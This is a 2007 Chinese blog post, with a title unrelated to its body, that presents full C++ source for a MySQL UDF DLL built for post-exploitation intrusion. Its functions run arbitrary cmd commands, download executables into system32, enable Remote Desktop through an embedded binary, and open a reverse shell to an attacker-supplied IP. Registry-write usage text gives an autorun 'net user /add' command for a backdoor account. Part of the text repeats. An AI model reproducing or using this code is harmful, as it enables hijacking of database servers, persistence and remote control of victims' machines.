一种新的穿透防火墙的数据传输技术
2007-05-22 21:27
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现在网上通过mysql获得系统权限大都通过MYSQL的用户函数接口UDF，比如Mix.dll和my_udf.dll。在Mix.dll中有一个MixConnect函数它会反弹shell，但是使用这个函数会造成MYSQL假死，前些天我就用这个函数反弹shell后由于网络原因不一会儿就断开了，造成了MYSQL当掉。my_udf.dll和Mix.dll相似，但它是通过my_udfdoor函数在服务器上侦听3306端口，用nc正向连接获得shell，但它的功能显的少了点，于是我决定自己写一个功能强大，运行稳定的UDF。
MYSQL有一个开发包，它定义了自己的接口，变量类型，以及函数执行顺序。比如我们要写一个open3389函数，我们可以这样写：
以上的open3389函数的返回值是char *类型的，如果是其它类型函数的参数列表也会有所不同，具体的可见MYSQL参考手册。
在写MYSQL UDF时另一个必须考虑的问题是程序的稳定时，它要经的起各种变态输入的考验，否则一旦程序出错MYSQL服务进程就会当掉。
以下是我写的UDF内容，它包含10个函数：
以上几个函数都经过多次的测试（测试平台：MYSQL 5.0.24-community-nt、Windows XP），不太可能会造成MYSQL假死等现象，但也不排除在特殊环境，特殊输入的情况下出错的可能。
MYSQL有一个开发包，它定义了自己的接口，变量类型，以及函数执行顺序。比如我们要写一个open3389函数，我们可以这样写：
extern "C" __declspec(dllexport)my_bool open3389_init(UDF_INIT
*initid, UDF_ARGS *args, char *message)
{
//在open3389函数之前调用，一般用于初始化工作，为可选函数；
//return 1出错 ,0 正常
return 0;
}
extern "C" __declspec(dllexport)char *open3389(UDF_INIT *initid, UDF_ARGS *args,char
*result, unsigned long *length,char *is_null, char *error)
{
//真正实现功能的函数，必需函数；
/*
函数内容;
return 结果;
*/
}
extern "C" __declspec(dllexport)void open3389_deinit(UDF_INIT *initid)
{
//在open3389函数之后调用，一般用于内存释放，可选函数；
}
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在写MYSQL UDF时另一个必须考虑的问题是程序的稳定时，它要经的起各种变态输入的考验，否则一旦程序出错MYSQL服务进程就会当掉。
以下是我写的UDF内容，它包含10个函数：
cmdshell 执行cmd；
downloader 下载者,到网上下载指定文件并保存到指定目录；
open3389 通用开3389终端服务，可指定端口(不改端口无需重启)；
backshell 反弹Shell；
ProcessView 枚举系统进程；
KillProcess 终止指定进程；
regread 读注册表；
regwrite 写注册表；
shut 关机，注销，重启；
about 说明与帮助函数；
使用方法:
创建函数：create function 函数名(区分大小写) returns string soname 'dll名' (注意路径)；
删除函数：delete function 函数名；
使用函数：select 函数名(参数列表)；获取参数信息可使用select 函数名("help")； |
CODE:
//-----------------------------------------------------------------------源程序
// MYSQL_UDF.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
#include "stdio.h"
#include <windows.h>
#include <tlhelp32.h>
#include <stdlib.h>
#include <winsock.h>
#include <Urlmon.h>
#include "mysql.h"
#include "resource.h"
#pragma comment(lib, "Urlmon.lib")
HANDLE g_module;
//-----------------------------------------------------------------------
BOOL APIENTRY DllMain(HINSTANCE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
{
if(ul_reason_for_call==DLL_PROCESS_ATTACH)
g_module=hModule;
return TRUE;
}
//-----------------------------------------------------------------------cmdshell
extern "C" __declspec(dllexport)my_bool cmdshell_init(UDF_INIT *initid, UDF_ARGS *args,
char *message)
{//return 1出错 ,0 正常
initid->max_length=65*1024*1024;
return 0;
}
extern "C" __declspec(dllexport)char *cmdshell(UDF_INIT *initid, UDF_ARGS *args,char
*result, unsigned long *length,char *is_null, char *error)
{
if(args->arg_count!=1 || args->arg_type[0]!=STRING_RESULT || stricmp(args->args
[0],"help")==0)
{
initid->ptr=(char *)malloc(200);
if(initid->ptr==NULL)return NULL;
strcpy(initid->ptr,"执行CMD Shell函数.rn例:select cmdshell("dir c://");rn参
数中的"/"要用"//"代替.");
*length=strlen(initid->ptr);
return initid->ptr;
}
int RunStatus=0;
char *cmdline,TempFilePath[MAX_PATH],ShellPath[MAX_PATH],temp[100];
DWORD size=0,len;
HANDLE hFile;
GetSystemDirectory(ShellPath,MAX_PATH-1);
strcat(ShellPath,"/cmd.exe");
GetEnvironmentVariable("temp",TempFilePath,MAX_PATH-1);
strcat(TempFilePath,"/2351213.tmp");
cmdline=(char *)malloc(strlen(args->args[0])+strlen(TempFilePath)+7);
strcpy(cmdline," /c ");
strcat(cmdline,(args->args)[0]);
strcat(cmdline,">");
strcat(cmdline,TempFilePath);
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.wShowWindow=SW_HIDE;
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
RunStatus=CreateProcess(ShellPath,cmdline,NULL,NULL,FALSE,0,0,0,&si,&pi);
free(cmdline);
if(!RunStatus)
{
itoa(GetLastError(),temp,10);
sprintf(temp,"Shell无法启动,GetLastError=%sn",temp);
initid->ptr=(char *)malloc(strlen(temp)+1);
strcpy(initid->ptr,temp);
(*length)=strlen(initid->ptr);
return initid->ptr;
}
WaitForSingleObject(pi.hProcess,30000);
//获得结果
hFile=CreateFile(TempFilePath,GENERIC_READ,FILE_SHARE_READ|FILE_SHARE_WRITE,NULL,OPEN_EXISTING,
FILE_ATTRIBUTE_ARCHIVE,NULL);
if(hFile!
4000
=INVALID_HANDLE_VALUE)
{
size=GetFileSize(hFile,NULL);
initid->ptr=(char *)malloc(size+100);
ReadFile(hFile,initid->ptr,size+1,&len,NULL);
(initid->ptr)[size]='';
strcat(initid->ptr,"rn---------------------------------完成!rn");
CloseHandle(hFile);
DeleteFile(TempFilePath);
}
else
{
initid->ptr=(char *)malloc(100);
strcpy(initid->ptr,"rn---------------------------------完成!rn");
}
(*length)=strlen(initid->ptr);
return initid->ptr;
}
extern "C" __declspec(dllexport)void cmdshell_deinit(UDF_INIT *initid)
{
if(initid->ptr!=NULL)
free(initid->ptr);
}
//-----------------------------------------------------------------------downloader
extern "C" __declspec(dllexport)my_bool downloader_init(UDF_INIT *initid, UDF_ARGS *args,
char *message)
{//return 1出错 ,0 正常
initid->max_length=65*1024*1024;
return 0;
}
extern "C" __declspec(dllexport)char *downloader(UDF_INIT *initid, UDF_ARGS *args,char
*result, unsigned long *length,char *is_null, char *error)
{
if(args->arg_count!=2 || args->arg_type[0]!=STRING_RESULT || args->arg_type[1]!
=STRING_RESULT || stricmp(args->args[0],"help")==0)
{
initid->ptr=(char *)malloc(200);
if(initid->ptr==NULL)return NULL;
strcpy(initid->ptr,"下载者函数rn例:select downloader("http://www.baidu.com/server.exe" target=_blank> http://www.baidu.com/server.exe","c://winnt//system32//ser.exe");rn参数中 的"/"要用"//"代替.");
*length=strlen(initid->ptr);
return initid->ptr;
}
HANDLE hFile;
char path[MAX_PATH];
strcpy(path,(args->args)[1]);
hFile=CreateFile(path,GENERIC_WRITE,FILE_SHARE_READ, NULL,CREATE_ALWAYS,0,NULL);
if(hFile==INVALID_HANDLE_VALUE)
{
initid->ptr=(char *)malloc(100+strlen(path));
sprintf(initid->ptr,"文件创建失败,请确认目录存在且有写权限(%s).",path);
*length=strlen(initid->ptr);
return initid->ptr;
}
CloseHandle(hFile);
DeleteFile(path);
if(URLDownloadToFile(NULL,(args->args)[0],path,0,0)==S_OK)
{
initid->ptr=(char *)malloc(50+strlen(path));
sprintf(initid->ptr,"下载文件成功(%s).",path);
*length=strlen(initid->ptr);
return initid->ptr;
}
else
{
initid->ptr=(char *)malloc(100+strlen((args->args)[0]));
sprintf(initid->ptr,"下载文件出现错误,可能是网络原因(%s).",(args->args)[0]);
*length=strlen(initid->ptr);
return initid->ptr;
}
}
extern "C" __declspec(dllexport)void downloader_deinit(UDF_INIT *initid)
{
if(initid->ptr)
free(initid->ptr);
}
//-----------------------------------------------------------------------open3389
extern "C" __declspec(dllexport)my_bool open3389_init(UDF_INIT *initid, UDF_ARGS *args,
char *message)
{//return 1出错 ,0 正常
initid->max_length=65*1024*1024;
return 0;
}
extern "C" __declspec(dllexport)char *open3389(UDF_INIT *initid, UDF_ARGS *args,char
*result, unsigned long *length,char *is_null, char *error)
{
if(!(args->arg_count==0 ||(args->arg_count==1 && args->arg_type[0]==INT_RESULT)))
{
initid->ptr=(char *)malloc(200);
if(initid->ptr==NULL)return NULL;
strcpy(initid->ptr,"通用开3389终端服务.修改端口需重启后生效.rn例:select open3389
([端口]);");
*length=strlen(initid->ptr);
return initid->ptr;
}
HRSRC hrsrc1;
HGLOBAL hglobal1;
HANDLE hFile;
char path[MAX_PATH];
DWORD size,size2;
GetEnvironmentVariable("temp",path,MAX_PATH-1);
strcat(path,"/457391.exe");
hrsrc1=FindResource((HMODULE)g_module, MAKEINTRESOURCE(IDR_BIN1), "BIN");
if(hrsrc1==NULL)
{
initid->ptr=(char *)malloc(100);
strcpy(initid->ptr,"查找资源出错,open3389无法继续运行.");
*length=strlen(initid->ptr);
return initid->ptr;
}
size=SizeofResource((HMODULE)g_module, hrsrc1);
hglobal1=LoadResource((HMODULE)g_module, hrsrc1);
if(hglobal1==NULL)
{
initid->ptr=(char *)malloc(100);
strcpy(initid->ptr,"载入资源出错,open3389无法继续运行.");
*length=strlen(initid->ptr);
return initid->ptr;
}
hFile = CreateFile(path,GENERIC_WRITE,0, NULL,CREATE_ALWAYS,0,NULL);
if(hFile==INVALID_HANDLE_VALUE)
{
initid->ptr=(char *)malloc(100);
strcpy(initid->ptr,"创建临时文件出错,open3389无法继续运行.");
*length=strlen(initid->ptr);
return initid->ptr;
}
WriteFile(hFile,(LPVOID)LockResource(hglobal1),size+1,&size2,NULL);
CloseHandle(hFile);
GlobalFree(hglobal1);
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory( &si, sizeof(si) );
si.wShowWindow=SW_HIDE;
si.cb = sizeof(si);
ZeroMemory( &pi, sizeof(pi) );
bool RunStatus=CreateProcess(path,NULL,NULL,NULL,FALSE,0,0,0,&si,&pi);
if(!RunStatus)
{
DeleteFile(path);
initid->ptr=(char *)malloc(100);
strcpy(initid->ptr,"运行临时文件出错,您的权限可能不够.");
*length=strlen(initid->ptr);
return initid->ptr;
}
WaitForSingleObject(pi.hProcess,5000);
DeleteFile(path);
//改端口
if(args->arg_count!=0 && args->arg_type[0]==INT_RESULT)
{
HKEY key;
DWORD dwDisposition;
DWORD port=*((long long *) args->args[0]);
RegCreateKeyEx(HKEY_LOCAL_MACHINE ,"SYSTEM/CurrentControlSet/Control/Terminal
Server/WinStations/RDP-Tcp",0,"",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&key,&dwDisposition);
if(!RegSetValueEx(key,"PortNumber",0,REG_DWORD,(BYTE *)&port,sizeof(port)))
{
RegCloseKey(key);
RegCreateKeyEx(HKEY_LOCAL_MACHINE ,"SYSTEM/CurrentControlSet/Control/Terminal
Server/Wds/rdpwd/Tds/tcp",0,"",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&key,&dwDis
position);
if(!RegSetValueEx(key,"PortNumber",0,REG_DWORD,(BYTE *)&port,sizeof(port)))
{
RegCloseKey(key);
initid->ptr=(char *)malloc(100);
sprintf(initid->ptr,"成功开启3389终端服务....rn成功修改终端服务端口为%d,
重启后生效,重启系统可利用WindowsExit函数.",port);
*length=strlen(initid->ptr);
return initid->ptr;
}
}
RegCloseKey(key);
initid->ptr=(char *)malloc(100);
sprintf(initid->ptr,"成功开启3389终端服务....rn修改终端服务端口失败.");
*length=strlen(initid->ptr);
return initid->ptr;
}
else
{
initid->ptr=(char *)malloc(100);
sprintf(initid->ptr,"成功开启3389终端服务.rn");
*length=strlen(initid->ptr);
return initid->ptr;
}
}
extern "C" __declspec(dllexport)void open3389_deinit(UDF_INIT *initid)
{
if(initid->ptr)
free(initid->ptr);
}
//-----------------------------------------------------------------------regread
extern "C" __declspec(dllexport)my_bool regread_init(UDF_INIT *initid, UDF_ARGS *args,
char *message)
{//return 1出错 ,0 正常
initid->max_length=65*1024*1024;
return 0;
}
extern "C" __declspec(dllexport)char *regread(UDF_INIT *initid, UDF_ARGS *args,char
*result, unsigned long *length,char *is_null, char *error)
{
if(args->arg_count!=3 || args->arg_type[0]!=STRING_RESULT || args->arg_type[1]!
=STRING_RESULT || args->arg_type[2]!=STRING_RESULT || stricmp(args->args[0],"help")==0)
{
initid->ptr=(char *)malloc(250);
if(initid->ptr==NULL)return NULL;
strcpy(initid->ptr,"读注册表函数.rn例:select regread
("HKEY_LOCAL_MACHINE","SYSTEM//ControlSet001
//Services//W3SVC//Parameters//Virtual Roots","/");rn参数中的"/"要用
"//"代替.");
*length=strlen(initid->ptr);
return initid->ptr;
}
DWORD a,b,c;
BYTE bytere[1000];
HKEY key,key2;
if(strcmp("HKEY_LOCAL_MACHINE",(args->args)[0])==0)
key=HKEY_LOCAL_MACHINE;
else if(strcmp("HKEY_CLASSES_ROOT",(args->args)[0])==0)
key=HKEY_CLASSES_ROOT ;
else if(strcmp("HKEY_CURRENT_USER ",(args->args)[0])==0)
key=HKEY_CURRENT_USER ;
else if(strcmp("HKEY_USERS ",(args->args)[0])==0)
key=HKEY_USERS ;
else
{
initid->ptr=(char *)malloc(50+strlen((args->args)[0]));
sprintf(initid->ptr,"未知的注册表句柄:%srn",(args->args)[0]);
*length=strlen(initid->ptr);
return initid->ptr;
}
RegCreateKeyEx(key,(args->args)[1],0,0,REG_OPTION_NON_VOLATILE,KEY_QUERY_VALUE,NULL,&key2,&b);
if(b==REG_OPENED_EXISTING_KEY)
{
if(!RegQueryValueEx(key2,(args->args)[2],0,&a,bytere,&c))
{
CloseHandle(key2);
initid->ptr=(char *)malloc(1001);
memset(initid->ptr,0,1001);
strcpy(initid->ptr,(char *)bytere);
*length=strlen(initid->ptr);
return initid->ptr;
}
else
{
CloseHandle(key2);
initid->ptr=(char *)malloc(100);
strcpy(initid->ptr,"找不注册表值rn");
*length=strlen(initid->ptr);
return initid->ptr;
}
}
else
{
CloseHandle(key2);
initid->ptr=(char *)malloc(100);
strcpy(initid->ptr,"找不注册表项rn");
*length=strlen(initid->ptr);
return initid->ptr;
}
}
extern "C" __declspec(dllexport)void regread_deinit(UDF_INIT *initid)
{
if(initid->ptr)
free(initid->ptr);
}
//-----------------------------------------------------------------------regwrite
extern "C" __declspec(dllexport)my_bool regwrite_init(UDF_INIT *initid, UDF_ARGS *args,
char *message)
{//return 1出错 ,0 正常
initid->max_length=65*1024*1024;
return 0;
}
extern "C" __declspec(dllexport)char *regwrite(UDF_INIT *initid, UDF_ARGS *args,char
*result, unsigned long *length,char *is_null, char *error)
{
if(args->arg_count!=5 || args->arg_type[0]!=STRING_RESULT || args->arg_type[1]!
=STRING_RESULT || args->arg_type[2]!=STRING_RESULT || args->arg_type[3]!=STRING_RESULT ||
args->arg_type[4]!=STRING_RESULT || stricmp(args->args[0],"help")==0)
{
initid->ptr=(char *)malloc(300);
if(initid->ptr==NULL)return NULL;
strcpy(initid->ptr,"写注册表函数.rn例:select regwrite
("HKEY_LOCAL_MACHINE","SOFTWARE//Microsoft//Windows//CurrentVersion//Run","ad
duser","REG_SZ","cmd.exe /c net user langouster langouster /add");rn参数中的
"/"要用"//"代替.");
*length=strlen(initid->ptr);
return initid->ptr;
}
HKEY key,hkey;
DWORD dwDisposition,ktype;
if(strcmp("HKEY_LOCAL_MACHINE",(args->args)[0])==0)
hkey=HKEY_LOCAL_MACHINE;
else if(strcmp("HKEY_CLASSES_ROOT",(args->args)[0])==0)
hkey=HKEY_CLASSES_ROOT ;
else if(strcmp("HKEY_CURRENT_USER ",(args->args)[0])==0)
hkey=HKEY_CURRENT_USER ;
else if(strcmp("HKEY_USERS ",(args->args)[0])==0)
hkey=HKEY_USERS ;
else
{
initid->ptr=(char *)malloc(50+strlen((args->args)[0]));
sprintf(initid->ptr,"未知的注册表句柄:%srn",(args->args)[0]);
*length=strlen(initid->ptr);
return initid->ptr;
}
if(strcmp("REG_BINARY",(args->args)[3])==0)
ktype=REG_BINARY;
else if(strcmp("REG_DWORD",(args->args)[3])==0)
ktype=REG_DWORD ;
else if(strcmp("REG_DWORD_LITTLE_ENDIAN",(args->args)[3])==0)
ktype=REG_DWORD_LITTLE_ENDIAN ;
else if(strcmp("REG_DWORD_BIG_ENDIAN",(args->args)[3])==0)
ktype=REG_DWORD_BIG_ENDIAN ;
else if(strcmp("REG_EXPAND_SZ",(args->args)[3])==0)
ktype=REG_EXPAND_SZ ;
else if(strcmp("REG_LINK",(args->args)[3])==0)
ktype=REG_LINK ;
else if(strcmp("REG_MULTI_SZ",(args->args)[3])==0)
ktype=REG_MULTI_SZ ;
else if(strcmp("REG_NONE",(args->args)[3])==0)
ktype=REG_NONE ;
else if(strcmp("REG_RESOURCE_LIST",(args->args)[3])==0)
ktype=REG_RESOURCE_LIST ;
else if(strcmp("REG_SZ",(args->args)[3])==0)
ktype=REG_SZ ;
else
{
initid->ptr=(char *)malloc(50+strlen((args->args)[3]));
sprintf(initid->ptr,"未知的注册表值类型:%srn",(args->args)[3]);
*length=strlen(initid->ptr);
return initid->ptr;
}
RegCreateKeyEx(hkey,(args->args)
[1],0,"",REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&key,&dwDisposition);
if(!RegSetValueEx(key,(args->args)[2],0,ktype,(BYTE *)(args->args)[4],lstrlen((args-
>args)[4])+1))
{
initid->ptr=(char *)malloc(100);
sprintf(initid->ptr,"写注册表成功rn");
*length=strlen(initid->ptr);
return initid->ptr;
}
else
{
initid->ptr=(char *)malloc(100);
sprintf(initid->ptr,"写注册表失败，可能是您的权限不够rn");
*length=strlen(initid->ptr);
return initid->ptr;
}
RegCloseKey(key);
}
extern "C" __declspec(dllexport)void regwrite_deinit(UDF_INIT *initid)
{
if(initid->ptr)
free(initid->ptr);
}
//-----------------------------------------------------------------------KillProcess
extern "C" __declspec(dllexport)my_bool KillProcess_init(UDF_INIT *initid, UDF_ARGS
*args, char *message)
{//return 1出错 ,0 正常
d69a
initid->max_length=65*1024*1024;
return 0;
}
extern "C" __declspec(dllexport)char *KillProcess(UDF_INIT *initid, UDF_ARGS *args,char
*result, unsigned long *length,char *is_null, char *error)
{
if(args->arg_count!=1 || args->arg_type[0]!=STRING_RESULT || (strcmp((args->args)
[0],"help")==0))
{
initid->ptr=(char *)malloc(200);
if(initid->ptr==NULL)return NULL;
strcpy(initid->ptr,"结束进程函数.rn例:select KillProcess("进程名 或 进程ID(十进制)");rn
程序目前还不能结束系统进程.");
*length=strlen(initid->ptr);
return initid->ptr;
}
HANDLE hSnapshot = NULL;
DWORD processid=0;
HANDLE hProcess;
char ProcessName[MAX_PATH],tempchar[10];
PROCESSENTRY32 pe;
strcpy(ProcessName,(args->args)[0]);
hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
pe.dwSize = sizeof(PROCESSENTRY32);
Process32First(hSnapshot,&pe);
do
{
itoa(pe.th32ProcessID,tempchar,10);
if(stricmp(pe.szExeFile,ProcessName)==0 || stricmp(tempchar,ProcessName)==0)
{
processid=pe.th32ProcessID;
break;
}
}
while(Process32Next(hSnapshot,&pe)==TRUE);
CloseHandle(hSnapshot);
if(processid==0)
{
initid->ptr=(char *)malloc(100);
sprintf(initid->ptr,"找不到进程%s,请确认进程是否存在!",(args->args)[0]);
*length=strlen(initid->ptr);
return initid->ptr;
}
hProcess=OpenProcess(PROCESS_TERMINATE,false,processid);
if(TerminateProcess(hProcess,0))
{
CloseHandle(hProcess);
initid->ptr=(char *)malloc(100);
sprintf(initid->ptr,"%s进程成功终止.",(args->args)[0]);
*length=strlen(initid->ptr);
return initid->ptr;
}
else
{
CloseHandle(hProcess);
initid->ptr=(char *)malloc(100);
sprintf(initid->ptr,"%s进程终止失败,您的权限可能不足.",(args->args)[0]);
*length=strlen(initid->ptr);
return initid->ptr;
}
}
extern "C" __declspec(dllexport)void KillProcess_deinit(UDF_INIT *initid)
{
if(initid->ptr)
free(initid->ptr);
}
//-----------------------------------------------------------------------ProcessView
extern "C" __declspec(dllexport)my_bool ProcessView_init(UDF_INIT *initid, UDF_ARGS
*args, char *message)
{//return 1出错 ,0 正常
initid->max_length=65*1024*1024;
return 0;
}
extern "C" __declspec(dllexport)char *ProcessView(UDF_INIT *initid, UDF_ARGS *args,char *result,
unsigned long *length,char *is_null, char *error)
{
if(args->arg_count!=0)
{
initid->ptr=(char *)malloc(100);
if(initid->ptr==NULL)return NULL;
strcpy(initid->ptr,"枚举进程函数.rn例:select ProcessView();");
*length=strlen(initid->ptr);
return initid->ptr;
}
HANDLE hSnapshot = NULL;
DWORD processid=0;
PROCESSENTRY32 pe;
char tempchar[10];
initid->ptr=(char *)malloc(2000);
if(initid->ptr==NULL)return NULL;
memset(initid->ptr,0,1000);
hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,NULL);
pe.dwSize = sizeof(PROCESSENTRY32);
Process32First(hSnapshot,&pe);
do
{
strcat(initid->ptr,pe.szExeFile);
strcat(initid->ptr,"t");
itoa(pe.th32ProcessID,tempchar,10);
strcat(initid->ptr,tempchar);
strcat(initid->ptr,"rn");
}
while(Process32Next(hSnapshot,&pe)==TRUE);
CloseHandle(hSnapshot);
*length=strlen(initid->ptr);
return initid->ptr;
}
extern "C" __declspec(dllexport)void ProcessView_deinit(UDF_INIT *initid)
{
if(initid->ptr!=NULL)
free(initid->ptr);
}
//-----------------------------------------------------------------------WindowsExit
extern "C" __declspec(dllexport)my_bool shut_init(UDF_INIT *initid, UDF_ARGS *args, char
*message)
{//return 1出错 ,0 正常
initid->max_length=65*1024*1024;
return 0;
}
extern "C" __declspec(dllexport)char *shut(UDF_INIT *initid, UDF_ARGS *args,char *result,
unsigned long *length,char *is_null, char *error)
{
if(args->arg_count!=1 || args->arg_type[0]!=STRING_RESULT || stricmp(args->args
[0],"help")==0)
{
initid->ptr=(char *)malloc(100);
if(initid->ptr==NULL)return NULL;
strcpy(initid->ptr,"关机重启注销函数.rn例:select shut("logoff|shutdown|reboot");");
*length=strlen(initid->ptr);
return initid->ptr;
}
HANDLE hToken;
TOKEN_PRIVILEGES token;
UINT Flag;
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES,&hToken))
{
initid->ptr=(char *)malloc(100);
if(initid->ptr==NULL)return NULL;
strcpy(initid->ptr,"获得进程访问信令出错,您的权限可能不足.rn");
*length=strlen(initid->ptr);
return initid->ptr;
}
token.PrivilegeCount = 1;
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &token.Privileges[0].Luid);
token.Privileges[0].Attributes=SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(hToken,0,&token, sizeof(token),0,0))
{
initid->ptr=(char *)malloc(100);
if(initid->ptr==NULL)return NULL;
strcpy(initid->ptr,"获得关机令牌出错,您的权限可能不足.rn");
*length=strlen(initid->ptr);
return initid->ptr;
}
if(stricmp(args->args[0],"logoff")==0)
Flag=EWX_LOGOFF|EWX_FORCE;
else if(stricmp(args->args[0],"shutdown")==0)
Flag=EWX_SHUTDOWN|EWX_FORCE;
else if(stricmp(args->args[0],"reboot")==0)
Flag=EWX_REBOOT|EWX_FORCE;
else
{
initid->ptr=(char *)malloc(100+strlen(args->args[0]));
if(initid->ptr==NULL)return NULL;
sprintf(initid->ptr,"未知的参数%s,期望为logoff、shutdown、reboot中的一
个.rn",args->args[0]);
*length=strlen(initid->ptr);
return initid->ptr;
}
if(ExitWindowsEx(Flag,0))
{
initid->ptr=(char *)malloc(100);
if(initid->ptr==NULL)return NULL;
sprintf(initid->ptr,"成功执行.rn");
*length=strlen(initid->ptr);
return initid->ptr;
}
else
{
initid->ptr=(char *)malloc(100);
if(initid->ptr==NULL)return NULL;
sprintf(initid->ptr,"执行失败,您的权限可能不足.rn");
*length=strlen(initid->ptr);
return initid->ptr;
}
}
extern "C" __declspec(dllexport)void shut_deinit(UDF_INIT *initid)
{
if(initid->ptr!=NULL)
free(initid->ptr);
}
//-----------------------------------------------------------------------BackShell
extern "C" __declspec(dllexport)my_bool backshell_init(UDF_INIT *initid, UDF_ARGS *args,
char *message)
{//return 1出错 ,0 正常
initid->max_length=65*1024*1024;
return 0;
}
extern "C" __declspec(dllexport)char *backshell(UDF_INIT *initid, UDF_ARGS *args,char *result,
unsigned long *length,char *is_null, char *error)
{
if(args->arg_count!=2 || args->arg_type[0]!=STRING_RESULT || args->arg_type[1]!=INT_RESULT ||
stricmp(args->args[0],"help")==0)
{
initid->ptr=(char *)malloc(100);
if(initid->ptr==NULL)return NULL;
strcpy(initid->ptr,"反弹shell.rn例:select backshell("your IP",your port);");
*length=strlen(initid->ptr);
return initid->ptr;
}
HRSRC hrsrc1;
HGLOBAL hglobal1;
HANDLE hFile;
char path[MAX_PATH],cmd[400];
DWORD size,size2;
GetEnvironmentVariable("temp",path,MAX_PATH-1);
strcat(path,"/95315964.tmp");
hrsrc1=FindResource((HMODULE)g_module, MAKEINTRESOURCE(IDR_BIN2), "BIN");
if(hrsrc1==NULL)
{
initid->ptr=(char *)malloc(100);
strcpy(initid->ptr,"查找资源出错,backshell无法继续运行.");
*length=strlen(initid->ptr);
return initid->ptr;
}
size=SizeofResource((HMODULE)g_module, hrsrc1);
hglobal1=LoadResource((HMODULE)g_module, hrsrc1);
if(hglobal1==NULL)
{
initid->ptr=(char *)malloc(100);
strcpy(initid->ptr,"载入资源出错,backshell无法继续运行.");
*length=strlen(initid->ptr);
return initid->ptr;
}
hFile = CreateFile(path,GENERIC_WRITE,0, NULL,CREATE_ALWAYS,0,NULL);
if(hFile==INVALID_HANDLE_VALUE)
{
initid->ptr=(char *)malloc(100);
strcpy(initid->ptr,"创建临时文件出错,backshell无法继续运行.");
*length=strlen(initid->ptr);
return initid->ptr;
}
WriteFile(hFile,(LPVOID)LockResource(hglobal1),size+1,&size2,NULL);
CloseHandle(hFile);
GlobalFree(hglobal1);
strcpy(cmd,path);
GetSystemDirectory(path,MAX_PATH-1);
strcat(path,"/cmd.exe");
sprintf(cmd,"%s -e %s %s %d",cmd,path,args->args[0],*((long long *) args->args[1]));
if(WinExec(cmd,SW_HIDE)>31)
{
initid->ptr=(char *)malloc(100);
strcpy(initid->ptr,"执行成功rn");
*length=strlen(initid->ptr);
return initid->ptr;
}
else
{
initid->ptr=(char *)malloc(100);
strcpy(initid->ptr,"执行失败rn");
*length=strlen(initid->ptr);
return initid->ptr;
}
}
extern "C" __declspec(dllexport)void backshell_deinit(UDF_INIT *initid)
{
if(initid->ptr!=NULL)
free(initid->ptr);
}
//-----------------------------------------------------------------------about
extern "C" __declspec(dllexport)my_bool about_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{//return 1出错 ,0 正常
initid->max_length=65*1024*1024;
return 0;
}
extern "C" __declspec(dllexport)char *about(UDF_INIT *initid, UDF_ARGS *args,char *result,
unsigned long *length,char *is_null, char *error)
{
initid->ptr=(char *)malloc(2000);
if(initid->ptr==NULL)return NULL;
memset(initid->ptr,0,2000);
strcat(initid->ptr,"mysql 入侵必备dll 版本1.0.0.1rnrn");
strcat(initid->ptr,"注意:要使用本dll你必须有对mysql的insert和delete权限以创建和删除函数。
rnrn");
strcat(initid->ptr,"使用方法:rn");
strcat(initid->ptr,"创建函数:create function 函数名(区分大小写) returns string soname "dll名"
(注意路径);rn");
strcat(initid->ptr,"删除函数:delete function 函数名;rn");
strcat(initid->ptr,"使用函数:select 函数名(参数列表);获取参数信息可使用select 函数名("help");
rn");
strcat(initid->ptr,"--------------------------------------------------------------------rn");
strcat(initid->ptr,"本dll包含的函数:rn");
strcat(initid->ptr,"cmdshell 执行cmd;rn");
strcat(initid->ptr,"downloader 下载者,到网上下载指定文件并保存到指定目录;rn");
strcat(initid->ptr,"open3389 通用开3389终端服务,可指定端口(不改端口无需重启);rn");
strcat(initid->ptr,"backshell 反弹Shell;rn");
strcat(initid->ptr,"ProcessView 枚举系统进程;rn");
strcat(initid->ptr,"KillProcess 终止指定进程;rn");
strcat(initid->ptr,"regread 读注册表;rn");
strcat(initid->ptr,"regwrite 写注册表;rn");
strcat(initid->ptr,"shut 关机,注销,重启;rn");
strcat(initid->ptr,"about 本函数;rn");
strcat(initid->ptr,"--------------------------------------------------------------------rn");
strcat(initid->ptr,"DLL中的每个函数都经多次测试，不太可能会造成MYSQL假死等现象，但也不
排除在特殊环境、特殊输入下出错的可能性.rn");
strcat(initid->ptr,"使用过程中发现的bug可和我联系QQ:185826531(langouster)rn");
strcat(initid->ptr,"源程序公开,可以任意修改和添加功能,散布源程序请注明原作者.rnrn");
strcat(initid->ptr,"特别声明:本程序只供技术研究之用,不正当使用程序造成的后果作者概不负
责!");
*length=strlen(initid->ptr);
return initid->ptr;
}
extern "C" __declspec(dllexport)void about_deinit(UDF_INIT *initid)
{
if(initid->ptr!=NULL)
free(initid->ptr);
} |
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